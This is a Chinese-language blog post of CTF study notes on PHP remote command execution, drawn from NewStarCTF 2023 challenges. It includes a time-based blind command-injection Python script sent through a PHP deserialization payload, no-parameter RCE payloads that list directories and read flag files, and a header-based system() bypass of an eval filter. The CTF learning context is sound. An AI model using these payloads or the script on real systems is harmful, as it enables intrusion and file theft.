03 RCE

发布时间 2023-11-09 20:09:38作者: 咿呀鲸落

目录:


 

RCE:

 


 

 

RCE

RCE:远程命令注入

一些常见考法:

Bash盲注:

import time
import requests
url="http://51934713-a8a8-4fd7-bef6-8876cee55fdf.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
    for j in range(1, 50):#ascii码表
        for k in range(32, 127):
            k = chr(k)
            payload = f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
            length = len(payload)
            payload2 = {
                "payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(
                    length, payload)
            }
            t1 = time.time()
            r = requests.post(url=url, data=payload2)
            t2 = time.time()
            if t2 - t1 > 1.5:
                result += k
                print(result)
    result += " "
View Code

参考:

NewStarCTF 2023 公开赛道 WEEK3|WEB   R!!!C!!!E!!!M!!!E!!!

NewStarCTF 2023 Week3 官方WriteUp (shimo.im)中的对应攻击脚本(即上述代码)

 

无参数RCE

即当我们传入的函数不能有参数时:

复制代码
scandir()
print_r(scandir(xxxxxx)); #表示获取某目录下的文件
localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."
current() 返回数组中的当前单元, 默认取第一个值。

file_get_contents() #把整个文件读入一个字符串中;
file #把整个文件读入一个数组中;
readfile() #读入一个文件并写入到输出缓冲;
highlight_file() #对文件进行语法高亮显示;
show_source() #对文件进行语法高亮显示;
 
array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。
next()指向数组的下一个元素。
prev() - 将内部指针指向数组中的上一个元素,并输出
current() - 返回数组中的当前元素的值
end() - 将内部指针指向数组中的最后一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
 pos() 输出数组中的当前元素的值 

可以构造:
?exp=print_r(scandir(current(localeconv()))); //读取当前目录下的文件
?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); //读取flag
复制代码

参考:

https://blog.csdn.net/qq_20533167/article/details/116945536
https://www.bilibili.com/read/cv18232136

 

若是无参数RCE过滤了许多东西

复制代码
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}
复制代码
View Code

可以尝试使用以下进行绕过

?star=system(array_rand(array_flip(getallheaders())));

此时,还需要在请求头中随便加入一个键值对,注意,值的部分即是我们想要执行的命令;如 sdv:ls /

还要注意,我们注入的命令时是否执行,是随机的,故而需要多次发包。

参考:

NewStarCTF2023week2-R!!C!!E!!(很细)-CSDN博客

[NewStarCTF 2023] web题解 - overfit.cn (另一种类似的解法)